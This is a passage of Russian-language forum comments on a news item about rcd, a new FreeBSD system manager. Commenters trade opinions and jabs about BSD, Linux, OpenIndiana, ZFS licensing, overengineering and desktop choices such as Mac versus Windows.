	284. "Для FreeBSD развивают новый системный менеджер rcd"	–4 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 21:57
	Проблема не в линукс. Просто процесс разделения кодовой базы Unix и BSD шел долго и тогда BSD несколько отстали. А System V это Solaris, который не взлетел, потому что на зеленые видеокарты ставку сделал. Вот вроде бы нвидия в топе, а линуксоидам пофиг вообще. Дайте встройку интела и видеокарту от АМД. RX 560 линуксоидам более чем хватало рабочий стол рисовать и погамать. А потому тяжелой артиллерией стала DragonflyBSD, которая отпочковалась пораньше от FreeBSD. Вот и получается что перфекционный дальтонизм поразил сторонников BSD и даже Unix. Глупые вопли тут про макось ненужны. Она прибита к железу. OpenSolaris на базе Illumos в лице OpenIndiana работает. И широта поддержки железа на ней куда больше. И никаких лицензионных заморочек как в линуксе с ZFS. Перенесенный кусок OpenSolaris для работоспособности ZFS не так хорошо работает как хотелось бы. Простой интерфейс лагал еще давно на FreeBSD когда OpenIndiana работала быстро. Лидерство было в формате разработки у тех кто делали 9front. А потом пришли корпорасты и каждый начал городить свой велосипед. BSD для этого подошла, чтобы игры на Playstation 5 запускать. С линукс у них связь по портированию того что очень хочется иметь. И GCC хотелось, но откат на много лет из-за лицензии и отсутствия компилятора ударил по BSD очень сильно и потому OpenIndiana тоже перескочили, но на GCC. Ничего не помешало, значит проблемы BSD были надуманные. Вот так правда оказывается всегда сильнее. Молиться на BSD совершенно необязательно, если железо не поддерживается. FreeBSD никогда не была лидером. Просто кому-то нравилось с ней возиться, потому что начинали с нее и линукс не понимали. Неосиляторов много. Кому-то хочется выделиться. Практической пользы могло не быть вовсе.
	Ответить | Правка | Наверх | Cообщить модератору

327. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Укропатолог (?), 12-Сен-26, 14:15
И сюда вайбкодеры добрались со своим оверинжинирингом. Вся надежда на openbsd теперь.
Ответить | Правка | Наверх | Cообщить модератору

	337. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (337), 12-Сен-26, 15:54
	> И сюда вайбкодеры добрались со своим оверинжинирингом. Куда это "сюда"? UCL во фре уже больше десяти лет используется - в той же pkg.conf pkg кстати уже лет 14 как есть, с "оверинжинирнутой" sqlite базой, вместо простых и понятных текстовых файлов, которых дидам за глаза хватало 🙄 > Вся надежда на openbsd теперь. Чей-то (возможно, опыт торчания на опеннете) подсказывает, что самые активные местные "надеждальщики" и знатоки, "как нужно правильно" предпочитают надеятся и раздовать ценные указания из под макоси/венды ...
	Ответить | Правка | Наверх | Cообщить модератору

	339. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Укропатолог (?), 12-Сен-26, 16:09
	> раздовать ценные указания из под макоси/венды Так всё верно. Адекватный человек на десктопе будет сидеть на винде или на маке, а все эти линуксы и бзди только по ssh для работы.
	Ответить | Правка | Наверх | Cообщить модератору

	348. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (337), 12-Сен-26, 17:04
	>> раздовать ценные указания из под макоси/венды > Так всё верно. > Адекватный человек на десктопе будет сидеть на винде или на маке И вещать про "оверинжиниринг" запускали сервисов бзд ... "И вот так у вас - все!"© И чего так скромно? В другой теме (только что наткнулся) > Сообщение от <mat3 ban> (?), 12-Сен-26, 16:17 > Открываю gimp на маке - всё красиво. Вишь, как я угадал.
	Ответить | Правка | Наверх | Cообщить модератору

	350. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Укропатолог (?), 12-Сен-26, 17:25
	Так всё верно, работать приходится с разным железом, но для себя предпочитаю мак, ибо могу позволить.
	Ответить | Правка | Наверх | Cообщить модератору

	354. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (337), 12-Сен-26, 20:32
	> но для себя предпочитаю мак, ибо могу позволить. Н-да. Ладно бы "потому что удобно", но как символ достатка и успеха ... надеюсь и чешский хрусталь в румынской стенке есть? 😀
	Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема